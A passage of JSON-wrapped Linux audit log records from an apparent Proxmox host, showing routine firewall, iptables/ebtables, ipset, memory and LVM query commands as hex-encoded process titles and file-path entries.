item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965904706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965904.706:67587): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795909,"@rawstring":"node=pve type=PATH msg=audit(1781965795.909:67145): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965900.934:67586): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965795899,"@rawstring":"node=pve type=PATH msg=audit(1781965795.899:67144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965900934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965900.934:67585): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965795899,"@rawstring":"node=pve type=PATH msg=audit(1781965795.899:67144): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965900933,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965900.933:67584): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965795891,"@rawstring":"node=pve type=PATH msg=audit(1781965795.891:67143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.697:67583): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795891,"@rawstring":"node=pve type=PATH msg=audit(1781965795.891:67143): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.697:67582): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795885,"@rawstring":"node=pve type=PATH msg=audit(1781965795.885:67141): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.697:67581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795885,"@rawstring":"node=pve type=PATH msg=audit(1781965795.885:67141): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.690:67580): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795879,"@rawstring":"node=pve type=PATH msg=audit(1781965795.879:67140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.690:67579): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795879,"@rawstring":"node=pve type=PATH msg=audit(1781965795.879:67140): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965899690,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965899.690:67578): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795873,"@rawstring":"node=pve type=PATH msg=audit(1781965795.873:67139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.609:67577): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965795873,"@rawstring":"node=pve type=PATH msg=audit(1781965795.873:67139): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.606:67576): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965795866,"@rawstring":"node=pve type=PATH msg=audit(1781965795.866:67138): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.604:67575): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795866,"@rawstring":"node=pve type=PATH msg=audit(1781965795.866:67138): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.604:67574): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795860,"@rawstring":"node=pve type=PATH msg=audit(1781965795.860:67137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.600:67573): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795860,"@rawstring":"node=pve type=PATH msg=audit(1781965795.860:67137): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895592,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.592:67572): proctitle=\"ip6tables-save\""} {"@timestamp":1781965795854,"@rawstring":"node=pve type=PATH msg=audit(1781965795.854:67136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.583:67571): proctitle=\"iptables-save\""} {"@timestamp":1781965795854,"@rawstring":"node=pve type=PATH msg=audit(1781965795.854:67136): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.573:67570): proctitle=\"ip6tables-save\""} {"@timestamp":1781965795846,"@rawstring":"node=pve type=PATH msg=audit(1781965795.846:67135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.556:67569): proctitle=\"iptables-save\""} {"@timestamp":1781965795846,"@rawstring":"node=pve type=PATH msg=audit(1781965795.846:67135): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.552:67568): proctitle=\"ebtables-restore\""} {"@timestamp":1781965795838,"@rawstring":"node=pve type=PATH msg=audit(1781965795.838:67134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.549:67567): proctitle=\"ebtables-restore\""} {"@timestamp":1781965795838,"@rawstring":"node=pve type=PATH msg=audit(1781965795.838:67134): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.541:67566): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965795833,"@rawstring":"node=pve type=PATH msg=audit(1781965795.833:67133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895535,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.535:67565): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965795833,"@rawstring":"node=pve type=PATH msg=audit(1781965795.833:67133): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.528:67564): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PATH msg=audit(1781965795.828:67132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895522,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.522:67563): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PATH msg=audit(1781965795.828:67132): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.517:67562): proctitle=697073657400726573746F7265"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PATH msg=audit(1781965795.828:67131): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.510:67561): proctitle=\"ip6tables-save\""} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PATH msg=audit(1781965795.828:67131): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.503:67560): proctitle=\"iptables-save\""} {"@timestamp":1781965795828,"@rawstring":"node=pve type=PATH msg=audit(1781965795.828:67130): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.498:67559): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965795823,"@rawstring":"node=pve type=PATH msg=audit(1781965795.823:67129): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895495,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.495:67558): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965795823,"@rawstring":"node=pve type=PATH msg=audit(1781965795.823:67129): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.494:67557): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795823,"@rawstring":"node=pve type=PATH msg=audit(1781965795.823:67129): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.494:67556): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795816,"@rawstring":"node=pve type=PATH msg=audit(1781965795.816:67128): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.489:67555): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965795816,"@rawstring":"node=pve type=PATH msg=audit(1781965795.816:67128): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.481:67554): proctitle=\"ip6tables-save\""} {"@timestamp":1781965795807,"@rawstring":"node=pve type=PATH msg=audit(1781965795.807:67127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.474:67553): proctitle=\"iptables-save\""} {"@timestamp":1781965795807,"@rawstring":"node=pve type=PATH msg=audit(1781965795.807:67127): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.466:67552): proctitle=69707365740073617665"} {"@timestamp":1781965795802,"@rawstring":"node=pve type=PATH msg=audit(1781965795.802:67126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.458:67551): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965795802,"@rawstring":"node=pve type=PATH msg=audit(1781965795.802:67126): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965895450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965895.450:67550): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965795791,"@rawstring":"node=pve type=PATH msg=audit(1781965795.791:67125): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.777:67549): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965795791,"@rawstring":"node=pve type=PATH msg=audit(1781965795.791:67125): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.751:67548): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965795781,"@rawstring":"node=pve type=PATH msg=audit(1781965795.781:67124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.681:67547): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965795781,"@rawstring":"node=pve type=PATH msg=audit(1781965795.781:67124): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.681:67546): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PATH msg=audit(1781965794.339:67123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.680:67545): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PATH msg=audit(1781965794.339:67123): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.672:67544): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PATH msg=audit(1781965794.339:67122): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.672:67543): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=PATH msg=audit(1781965794.339:67121): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965894672,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965894.672:67542): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PATH msg=audit(1781965794.324:67120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.663:67541): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PATH msg=audit(1781965794.324:67120): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.663:67540): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PATH msg=audit(1781965794.324:67119): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.663:67539): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=PATH msg=audit(1781965794.324:67118): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.655:67538): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794309,"@rawstring":"node=pve type=PATH msg=audit(1781965794.309:67117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.655:67537): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794309,"@rawstring":"node=pve type=PATH msg=audit(1781965794.309:67117): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965889655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965889.655:67536): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965794274,"@rawstring":"node=pve type=PATH msg=audit(1781965794.274:67116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.437:67534): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965794274,"@rawstring":"node=pve type=PATH msg=audit(1781965794.274:67116): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.434:67533): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PATH msg=audit(1781965789.306:67115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.433:67532): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PATH msg=audit(1781965789.306:67115): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.433:67531): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PATH msg=audit(1781965789.306:67114): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885428,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.428:67530): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=PATH msg=audit(1781965789.306:67113): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.420:67529): proctitle=\"ip6tables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PATH msg=audit(1781965789.298:67112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965885412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965885.412:67528): proctitle=\"iptables-save\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=PATH msg=audit(1781965789.298:67112): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 